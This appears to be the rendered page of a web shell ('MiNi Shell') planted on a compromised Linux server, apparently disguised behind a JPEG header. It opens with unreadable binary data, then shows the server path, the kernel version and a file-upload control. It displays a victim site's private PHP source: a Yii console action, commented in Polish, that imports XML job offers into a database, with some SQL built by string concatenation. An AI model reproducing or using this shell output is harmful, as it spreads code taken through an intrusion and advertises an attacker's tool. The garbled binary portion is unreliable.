JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/actions/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/console/controllers/actions/ImportJobOffersAbstractAction.php

<?php
namespace console\controllers\actions;

use \Yii;
use yii\base\Action;

abstract class ImportJobOffersAbstractAction extends Action
{
    /**
     * Stała odpowiadająca włączeniu debuggera.
     */
    const DEBUG_MODE_ON = true;
    
    /**
     * Stała odpowiadająca wyłączeniu debuggera.
     */
    const DEBUG_MODE_OFF = false;
    
    /**
     * Parametr określający status aktywności debuggera.
     * 
     * @var boolean 
     */
    public $debugModeOn;
    
    /**
     * Parametr debuggera odpowiedzialny za pokazywanie pojedynczego wpisu XML.
     * 
     * @see ImportJobOffersAbstractAction::_getOfferDataFromXmlEntry()
     * @var boolean 
     */
    public $debugShowSingleXmlEntry;
    
    /**
     * Parametr debuggera odpowiedzialny za pokazywanie pojedynczej oferty na wstępnym etapie przetwarzania.
     * 
     * @see ImportJobOffersAbstractAction::_getOfferDataFromXmlEntry()
     * @var boolean 
     */
    public $debugShowSingleOfferData;
    
    /**
     * Parametr debuggera odpowiedzialny za pokazywanie pojedynczej oferty po przetworzeniu.
     * 
     * @see ImportJobOffersAbstractAction::getOffers()
     * @var boolean 
     */
    public $debugShowSingleOfferPreparedData;
    
    /**
     * Parametr debuggera odpowiedzialny za pokazywanie mapy kategorii dla danego źródła importu.
     * 
     * @see ImportJobOffersAbstractAction::_fillCategoryMap()
     * @var boolean 
     */
    public $debugShowCategoryMap;
    
    /**
     * Parametr debuggera odpowiedzialny za pokazywanie ofert pochodzących z danego źródła, które są już dostępne w bazie.
     * 
     * @see ImportJobOffersAbstractAction::_getOffersAvailableInDB()
     * @var boolean 
     */
    public $debugShowOffersAvailableInDB;
    
    /**
     * Parametr debuggera odpowiedzialny za pokazywanie pojedynczej oferty przekazanej do bazy danych.
     * 
     * @see ImportJobOffersAbstractAction::_saveOffer()
     * @var boolean 
     */
    public $debugShowSingleOfferDataPassedToDB;
    
    /**
     * Parametr debuggera odpowiedzialny za pokazywanie błędów zapisu do bazy danych.
     * 
     * @see ImportJobOffersAbstractAction::_saveOffer()
     * @var boolean 
     */
    public $debugShowWritingErrors;
    
    /**
     * Nazwa pliku z danymi.
     * 
     * @see _getSourceData()
     * @var string 
     */
    protected $_sourceFile = '';
    
    /**
     * Ścieżka do katalogu z plikami danych.
     * 
     * @see _readXmlFile()
     * @var string 
     */
    protected $_sourceDir = '';
    
    /**
     * Adres źródła, z którego pobierany jest plik z danymi.
     * 
     * @see _getSourceData()
     * @var string 
     */
    protected $_sourceUrl = '';
    
    /**
     * Skrócona nazwa źródła danych.
     * 
     * Np. gazetapraca.pl => gazetapraca
     * 
     * @var string 
     */
    protected $_sourceTypeShortName = '';
    
    /**
     * Pełna nazwa źródła danych.
     * 
     * Np. gazetapraca.pl => gazetpraca.pl
     * 
     * @var string 
     */
    protected $_sourceTypeFullName = '';
    
    /**
     * Wczytana struktura danych XML.
     * 
     * @link http://pl1.php.net/manual/en/class.simplexmlelement.php
     * @var SimpleXMLElement
     */
    protected $_xml = null;
                
    /**
     * Mapa kategorii.
     * 
     * Odpowiada za powiązanie kategorii ze źródła zewnętrznego z kategoriami z tabeli "job_offers".
     * 
     * @see _fillCategoryMap()
     * @var array 
     */
    protected $_categoryMap = array();
    
    /**
     * Oferty zaimportowane z danego typu źródła zewnętrznego obecne w bazie.
     * 
     * @var array 
     */
    protected $_offersInDB = array();
    
    /**
     * Ostatnie ID oferty w bazie.
     * 
     * @var integer
     */
    protected $_lastIdOffer;
    
    /** 
     * Przygotowana instrukcja SQL.
     * 
     * Odpowiada za wstawienie nowego ogłoszenia do tabeli "job_offers".
     * 
     * @see _prepareInsertSqlCommands()
     * @var yii\db\Command
     */
    protected $_insertSqlCommand_1 = null;
    
    /** 
     * Przygotowana instrukcja SQL.
     * 
     * Odpowiada za wstawienie powiązania z kategorią do tabeli "job_offers_has_job_offers_categories".
     * 
     * @see _prepareInsertSqlCommands()
     * @var yii\db\Command
     */
    protected $_insertSqlCommand_2 = null;
    
    /** 
     * Aktualna data i czas
     *
     * @var string
     */
    protected $_actualDatetime = null;
    
    /** 
     * Aktualna data i czas w postaci linuksowego znacznika czasu
     *
     * @var string
     */
    protected $_actualTimestamp = null;
    
    /**
     * Mapa portali.
     * 
     * Aktywne portale z włączoną sekcją ofert pracy
     * 
     * @see _fillPortals()
     * @var array 
     */
    protected $_portals = array();
    
    /**
     * Mapa powiązań kategorii z portalami.
     * 
     * Informuje na jakich portalach występuje dana katagoria.
     * 
     * @see _fillCategoryToPortalsMap()
     * @var array 
     */
    protected $_categoryToPortalsMap = array();
    
    /**
     * Konstruktor.
     * 
     * Przygotowuje mapę kategorii, pobiera obecne już w bazie oferty z danego źródła, pobiera plik z danymi do importu, 
     * wczytuje plik XML.
     * 
     * @throws Exception
     */
    public function init() 
    {
        parent::init();
        if($this->_sourceUrl == '' || $this->_sourceTypeShortName == '' || $this->_sourceTypeFullName == '') {
            throw new \Exception('Params: '.__CLASS__.'::_sourceUrl, '.__CLASS__.'::_sourceTypeShortName, '.__CLASS__.'::_sourceTypeFullName must be set in child class.');
        }

        $this->_actualDatetime = date("Y-m-d H:i:s");
        $this->_actualTimestamp = time();
        
        $this->_getLastIdOfferInDB();
        $this->_fillCategoryMap();
        $this->_fillCategoryToPortalsMap();
        $this->_fillPortals();
        $this->_getOffersAvailableInDB();
        $this->_getSourceData();
        $this->_readXmlFile(); 
    }
    
    /**
     * Wypełnia mapę kategorii.
     * 
     * Pobiera identyfikatory kategorii z tabeli "ogloszenia_praca_typ" na podstawie wartości 
     * przypisanych w kolumnie, której nazwa odpowiada polu XmlImporterAbstract::_sourceTypeShortName
     * 
     * @see XmlImporterAbstract::_categoryMap
     * @return void
     */
    protected function _getLastIdOfferInDB()
    {
        $this->_lastIdOffer = Yii::$app->db->createCommand('SELECT id_offer FROM job_offers ORDER BY id_offer DESC LIMIT 1')->queryScalar();
        if(!$this->_lastIdOffer) {
            $this->_lastIdOffer = Yii::$app->db->createCommand('SELECT nextval(pg_get_serial_sequence(\'job_offers\',\'id_offer\')) AS next_id')->queryScalar();
        }
    }
    
    /**
     * Wypełnia mapę kategorii.
     * 
     * Pobiera identyfikatory kategorii z tabeli "job_offers_external_categories" na podstawie wartości 
     * przypisanych w kolumnie, której nazwa odpowiada polu XmlImporterAbstract::_sourceTypeShortName
     * 
     * @see XmlImporterAbstract::_categoryMap
     * @return void
     */
    protected function _fillCategoryMap() 
    {
        $categories = Yii::$app->db->createCommand('SELECT joec.id_category, joec.id_external_category FROM job_offers_external_categories joec, job_offers_categories joc WHERE joec.id_category = joc.id_category AND joc.status = \''.\common\models\types\Status::ACTIVE.'\' AND joec.id_source = \''.$this->_sourceTypeShortName.'\'')->queryAll();
        foreach($categories as $category) {
            $idCategory = intval($category['id_category']);
            $this->_categoryMap[$category['id_external_category']][$idCategory] = $idCategory;
        }
        if($this->debugModeOn == self::DEBUG_MODE_ON && $this->debugShowCategoryMap) {
            $this->controller->stdout('Mapa powiązań kategorii dla źródła '.$this->_sourceTypeFullName.': ');
            var_dump($this->_categoryMap);
        }
    }
    
    /**
     * Pobiera zapisane już w bazie oferty pochodzące z danego typu źródła.
     * 
     * @see XmlImporterAbstract::_offersInDB
     * @return void
     */
    protected function _getOffersAvailableInDB() 
    {
        $offersFromDB = Yii::$app->db->createCommand('SELECT id_offer_external FROM job_offers WHERE id_source = \''.$this->_sourceTypeShortName.'\'')->queryAll();
        if(!empty($offersFromDB)) {
            foreach($offersFromDB as $offerFromDB) {
                $this->_offersInDB[$offerFromDB['id_offer_external']] = $offerFromDB['id_offer_external'];
            }
        }
        if($this->debugModeOn == self::DEBUG_MODE_ON && $this->debugShowOffersAvailableInDB) {
            $this->controller->stdout('Oferty ze źródła '.$this->_sourceTypeFullName.' aktualnie dostępne w bazie: ');
            if(empty($this->_offersInDB)) echo 'BRAK';
            else {
                foreach($this->_offersInDB as $offerInDB) {
                    echo $offerInDB.' ';
                }
            }
        }
    }
    
    /**
     * Zwraca informację o tym, czy dane ogłoszenie znajduje się już w bazie.
     * 
     * Sprawdzenie tego warunku jest niezbędne w przypadku danych przyrostowych.
     * Jeśli oferta istnieje już w bazie, to metoda zwróci wartość true.
     * 
     * @uses SUB_CLASS::_checkConditionsForSave()
     * @param int|string $idOffer id oferty
     * @return boolean
     */
    protected function _checkIfSelectedOfferExists($idOffer) 
    {
        if(isset($this->_offersInDB[$idOffer])) 
            return true;
        else 
            return false;
    }
    
    /**
     * Zwraca informację o tym, czy wybrana oferta pasuje do przynajmniej jednej kategorii 
     * obecnej w mapie kategorii.
     * 
     * Jeśli istnieje przypisanie do kategorii, metoda zwróci wartość true.
     * 
     * @uses SUB_CLASS::_checkConditionsForSave()
     * @param array $preparedOffer przygotowane dla procedury zapisu dane oferty
     * @return boolean
     */
    protected function _checkIfSelectedOfferBelongsToCompatibleCategory($preparedOffer) 
    {
        return (count($preparedOffer['categories']) > 0) ? true : false;
    }
    
    /**
     * Zwraca informację o tym, czy data zakończenia publikacji wybranej oferty nie 
     * jest starsza niż aktualna data i czas.
     * 
     * Jeśli data zakończenia publikacji będzie późniejsza niż obecna, to funkcja zwróci true
     * 
     * @uses SUB_CLASS::_checkConditionsForSave()
     * @param string $endDatetime data zakończenia publikacji
     * @return boolean
     */
    protected function _checkPublicationEndDatetime($endDatetime) 
    {
        return (strtotime($endDatetime) > $this->_actualTimestamp) ? true : false;
    }
    
    /**
     * Przygotowuje instrukcję SQL odpowiedzialną za wstawianie ofert do bazy.
     * 
     * @see XmlImporterAbstract::_insertSqlCommand_1
     * @see XmlImporterAbstract::_insertSqlCommand_2
     * @return void
     */
    protected function _prepareInsertSqlCommands() 
    {        
        $this->_insertSqlCommand_1 = Yii::$app->db->createCommand(
            "INSERT INTO job_offers (id_source, id_offer_external, title, content, company_name, url, email, locality, id_region, or_foreign, publication_start_date, publication_end_date, id_promotion_type, created_at, updated_at) 
            VALUES('".$this->_sourceTypeShortName."', :id_offer_external, :title, :content, :company_name, :url, :email, :locality, :id_region, :or_foreign, :publication_start_date, :publication_end_date, 'WITHOUT_PROMOTION', '".$this->_actualDatetime."', '".$this->_actualDatetime."')"
        );
        
        $this->_insertSqlCommand_2 = Yii::$app->db->createCommand("INSERT INTO job_offers_has_job_offers_categories (id_offer, id_category) VALUES(:id_offer, :id_category)");
    }
    
    /**
     * Zapisuje ofertę bazie.
     * 
     * @linl http://pl1.php.net/manual/en/pdostatement.bindvalue.php
     * @param array $data dane przygotowane na potrzeby funkcji zapisującej
     * @return void
     */
    protected function _saveOffer($data) 
    {        
        $this->_insertSqlCommand_1->bindValue(':id_offer_external', $data['id']);
        $this->_insertSqlCommand_1->bindValue(':title', (string)$data['title']);
        $this->_insertSqlCommand_1->bindValue(':content', (string)$data['content']);
        if(!empty($data['company_name'])) {
            $this->_insertSqlCommand_1->bindValue(':company_name', $data['company_name']);
        } else {
            $this->_insertSqlCommand_1->bindValue(':company_name', null, \PDO::PARAM_NULL);
        }        
        if(!empty($data['www'])) {
            $this->_insertSqlCommand_1->bindValue(':url', $data['www']);
        } else {
            $this->_insertSqlCommand_1->bindValue(':url', null, \PDO::PARAM_NULL);
        }        
        if(!empty($data['email'])) {
            $this->_insertSqlCommand_1->bindValue(':email', $data['email']);
        } else {
            $this->_insertSqlCommand_1->bindValue(':email', null, \PDO::PARAM_NULL);
        }
        if(!empty($data['city'])) {
            $this->_insertSqlCommand_1->bindValue(':locality', $data['city']);
        } else {
            $this->_insertSqlCommand_1->bindValue(':locality', null, \PDO::PARAM_NULL);
        }
        if(!empty($data['region_id'])) {
            $this->_insertSqlCommand_1->bindValue(':id_region', $data['region_id']);            
        } else {
            $this->_insertSqlCommand_1->bindValue(':id_region', null, \PDO::PARAM_NULL);
        }        
        $this->_insertSqlCommand_1->bindValue(':or_foreign', intval($data['or_foreign']));
        $this->_insertSqlCommand_1->bindValue(':publication_start_date', $data['pub_start_date']);
        $this->_insertSqlCommand_1->bindValue(':publication_end_date', $data['pub_end_date']);
        
        $result = true;
        try {
            $result = $this->_insertSqlCommand_1->execute();
        } catch (\Exception $e) {
            $result = false;            
            if($this->debugModeOn == self::DEBUG_MODE_ON && $this->debugShowWritingErrors) {
                $this->controller->stdout('Błąd: '.$e->getMessage());
                $this->controller->stdout('Zapytanie SQL: '.$this->_insertSqlCommand_1->rawSql);
            }
        }
        
        if($result) {
            $this->_getLastIdOfferInDB();
            
            $idsPortals = [];
            foreach($data['categories'] as $category) { 
                $this->_insertSqlCommand_2->bindValue(':id_offer', $this->_lastIdOffer);
                $this->_insertSqlCommand_2->bindValue(':id_category', $category);
                try {
                    $result = $this->_insertSqlCommand_2->execute();
                    if(!$result) {
                        break;
                    }
                } catch (\Exception $e) {
                    $result = false;
                    if($this->debugModeOn == self::DEBUG_MODE_ON && $this->debugShowWritingErrors) {
                        $this->controller->stdout('Błąd: '.$e->getMessage());
                        $this->controller->stdout('Zapytanie SQL: '.$this->_insertSqlCommand_2->rawSql);
                    }
                }
                if(!empty($this->_categoryToPortalsMap[(int)$category])) {
                    foreach($this->_categoryToPortalsMap[(int)$category] as $idPortal) {
                        $idsPortals[$idPortal] = $idPortal;
                    }
                }                
            }

            //@todo tymczasowo wyłączamy tworzenie wpisów dla importu
//            if(!empty($idsPortals) && time() < strtotime($data['pub_end_date'])) {
//                foreach($idsPortals as $idPortal) {
//                    if(empty($this->_portals[$idPortal])) {
//                        continue;
//                    }
//                    $url = Yii::$app->params['webProtocol'].'://www.'.$this->_portals[$idPortal].'/ofertypracy/szczegoly/'.$this->_lastIdOffer.'_'.\frontend\components\helpers\SlugGenerator::generate((string)$data['title']);
//        
//                    $modelGoogleIndexingUrl = new \common\models\GoogleIndexingUrls();
//                    $modelGoogleIndexingUrl->url = $url;
//                    $modelGoogleIndexingUrl->id_portal = intval($idPortal);
//                    $modelGoogleIndexingUrl->source_type = \common\models\GoogleIndexingUrls::TYPE_JOB_OFFER;
//                    $modelGoogleIndexingUrl->source_id = (string)$this->_lastIdOffer;
//
//                    try {
//                        $flag = $modelGoogleIndexingUrl->save();
//                        if(!$flag) {
//                            if($this->debugModeOn == self::DEBUG_MODE_ON && $this->debugShowWritingErrors) {
//                                $this->controller->stdout('Błąd podczas dodawania wpisu do kolekcji google_indexing_urls: '. implode(' | ', $modelGoogleIndexingUrl->getErrors()));
//                            }
//                            break;
//                        }
//                    } catch (\Exception $e) {
//                        $result = false;
//                        if($this->debugModeOn == self::DEBUG_MODE_ON && $this->debugShowWritingErrors) {
//                            $this->controller->stdout('Błąd podczas dodawania wpisu do kolekcji google_indexing_urls: '.$e->getMessage());
//                        }
//                    }
//                }
//            }
        }         
        
        if($this->debugModeOn == self::DEBUG_MODE_ON && $this->debugShowSingleOfferDataPassedToDB) {
            if($result) {
                echo '<br />Dodano rekord:  
                    #company_name='.$data['company_name'].', 
                    #locality='.$data['city'].', 
                    #url='.$data['www'].', 
                    #email='.$data['email'].', 
                    #id_region='.$data['region_id'].', 
                    #or_foreign='.$data['or_foreign'].', 
                    #title='.$data['title'].', 
                    #publication_start_date='.$data['pub_start_date'].', 
                    #publication_end_date='.$data['pub_end_date'].', 
                    #id_offer_external='.$data['id'].', 
                    #created_at='.$this->_actualDatetime.', 
                    #updated_at='.$this->_actualDatetime.', 
                    #content=<br />'.$data['content'];
            }
            else {
                $this->controller->stdout('Wystąpił błąd podczas dodawania rekordu o ID='.$data['id'].'.');
            }
        }
    }    
    
    /**
     * Wczytuje strukturę pliku XML.
     * 
     * @linl http://pl1.php.net/manual/en/function.simplexml-load-file.php
     * @see XmlImporterAbstract::_xml
     * @return void
     */
    protected function _readXmlFile() {
        $this->_xml = simplexml_load_file($this->_sourceDir.$this->_sourceFile);
    }
    
    /**
     * Metoda magiczna odpowiedzialna za dostęp do pól prywatnych i chronionych.
     * 
     * Metoda wykorzystywana na potrzeby ręcznego debugowania skryptu.
     * 
     * @param string $propertyName nazwa pola obiektu
     * @return mixed wartość pola o podanej nazwie
     * @throws Exception
     */
    public function __get($propertyName) {
        if(isset($this->$propertyName)) {
            return $this->$propertyName; 
        }
        else throw new \Exception('Field with the specified name: '.$propertyName.' doesn\'t exist in '.__CLASS__.' object.');
    }       
    
    /**
     * Pobiera oferty ze struktury danych XML.
     * 
     * @uses XmlImporterAbstract::_prepareInsertSqlCommand() przygotowuje polecenie SQL odpowiadające za wstawianie ofert do bazy
     * @uses SUB_CLASS::_prepareDataForSave() odpowiada za przygotowanie tablicy zawierającej odpowiedni zestaw pól (patrz: XmlImporterAbstract::_saveOffer())
     * @ueses SUB_CLASS::_checkConditionsForSave() odpowiada za sprawdzenie kryteriów czy dany wpis może zostać dodany do bazy
     * @see XmlImporterAbstract::_saveOffer()
     * @return void
     */
//    public $categories = [];
    public function getOffers() {
        $this->_prepareInsertSqlCommands();
//        $counter = 0;
        foreach($this->_xml as $xmlEntry) {
//            $counter++;
//            if($counter > 30) {
//                break;
//                exit;
//            }
//            $categories = explode(",", (string)$xmlEntry->category);
//            foreach($categories as $category) {
//                $category = trim($category);
//                if(!empty($category)) {
//                    $this->categories[$category] = $category;
//                }
//            }
//            continue;

            $offer = $this->_getOfferDataFromXmlEntry($xmlEntry); 
            $preparedOfferData = $this->_prepareDataForSave($offer);
            if($this->debugModeOn == self::DEBUG_MODE_ON && $this->debugShowSingleOfferPreparedData) {
                $this->controller->stdout('Dane przygotowane do zapisu: ');
                var_dump($preparedOfferData);
            }
            if($this->_checkConditionsForSave($preparedOfferData, $offer)) {
                $this->_saveOffer($preparedOfferData);
            } 
        }
        
//        $collator = new \Collator('pl_PL');
//        $collator->asort($this->categories);
//        foreach($this->categories as $category) {
//            echo $category."\n";
//        }        
//        exit;
    }
    
    /**
     * Wypełnia mapę powiązań kategorii z portalami.
     * 
     * Pobiera identyfikatory kategorii z tabeli "job_offers_external_categories" na podstawie wartości 
     * przypisanych w kolumnie, której nazwa odpowiada polu XmlImporterAbstract::_sourceTypeShortName 
     * oraz przypisuje im portale, na których dana kategoria występuje
     * 
     * @see XmlImporterAbstract::_categoryToPortalsMap
     * @return void
     */
    protected function _fillCategoryToPortalsMap() 
    {        
        $data = Yii::$app->db->createCommand('SELECT phjoc.id_category, phjoc.id_portal FROM job_offers_external_categories joec, job_offers_categories joc, portals_has_job_offers_categories phjoc WHERE phjoc.id_category = joc.id_category AND joec.id_category = joc.id_category AND joc.status = \''.\common\models\types\Status::ACTIVE.'\' AND joec.id_source = \''.$this->_sourceTypeShortName.'\'')->queryAll();
        foreach($data as $item) {
            $this->_categoryToPortalsMap[(int)$item['id_category']][(int)$item['id_portal']] = (int)$item['id_portal'];
        }
    }
    
    /**
     * Wypełnia mapę portali.
     * 
     * Pobiera identyfikatory oraz domeny aktywnych portali, które mają uruchomiony moduł ofert pracy.
     * 
     * @see XmlImporterAbstract::_portals
     * @return void
     */
    protected function _fillPortals() 
    {        
        $data = Yii::$app->db->createCommand('SELECT p.id_portal, p.domain, p.settings FROM portals p WHERE p.status = \''.\common\models\types\Status::ACTIVE.'\'')->queryAll();
        foreach($data as $item) {
            $settings = json_decode($item['settings'], true);
            if(empty($settings['data_sets']['job_offers']) || intval($settings['data_sets']['job_offers']) !== 1) {
                continue;
            }
            
            $this->_portals[(int)$item['id_portal']] = $item['domain'];
        }
    }
    
    /**
     * Usuwa przedawnione oferty.
     * 
     * Usuwane są oferty, których data końca publikacji jest wcześniejsza niż obecna data.
     * 
     * @link http://pl1.php.net/manual/en/pdo.exec.php
     * @return void
     */
    public function deleteExpiredOffers() 
    {
        Yii::$app->db->createCommand('DELETE FROM job_offers WHERE id_source = \''.$this->_sourceTypeShortName.'\' AND publication_end_date < \''.date("Y-m-d").'\'')->execute();
    }
    
    /**
     * Przygotowuje dane dla funkcji zapisującej.
     * 
     * Obrabia (np. poprawia kodowanie), formatuje, scala dane. 
     * Wymagana struktura danych wyjściowych widoczna jest w metodzie _saveOffer() 
     * 
     * @abstract
     * @see XmlImporterAbstract::_saveOffer()
     * @param array $offer tablica z danymi wyciągniętymi bezpośrednio z elementu XML
     * @return array przygotowane (przetworzone) dane oferty
     */
    abstract protected function _prepareDataForSave($offer);
    
    /**
     * Sprawdza warunki niezbędne dla dodania oferty do bazy.
     * 
     * Sprawdzane jest np. czy oferta dotyczy prawidłowo powiązanej kategorii.
     * Zwraca true w przypadku zgody na dodanie rekordu bądź false w przypadku jej braku.
     * 
     * @abstract
     * @see XmlImporterAbstract::getOffers()
     * @param array $preparedOffer przetworzone dane oferty
     * @param array $offer "surowe" dane oferty
     * @return boolean 
     */
    abstract protected function _checkConditionsForSave($preparedOffer, $offer);

    /**
     * Pobiera plik XML z danymi źródłowymi.
     * 
     * @abstract
     * @uses XmlImporterAbstract::_sourceFile ustawia plik XML, z którego później następuje czytanie danych
     * @return void
     */
    abstract protected function _getSourceData();
    
    /**
     * Wyciąga z elementu XML zestaw danych opisujących ofertę.
     * 
     * Zapis danych odbywa się do tablicy pośredniej. Docelowe składanie danych z jednoczesnym 
     * dostosowaniem do wymaganej dla zapisu struktury następuje w metodzie _prepareDataForSave()
     * Zwraca maksymalny dostępny w elemencie XML zestaw danych.
     * 
     * @abstract
     * @param SimpleXMLElement pojedynczy element pobrany z zestawu danych XML
     * @return array
     */
    abstract protected function _getOfferDataFromXmlEntry($xmlEntry);
}

Creat By MiNi SheLL
Email: jattceo@gmail.com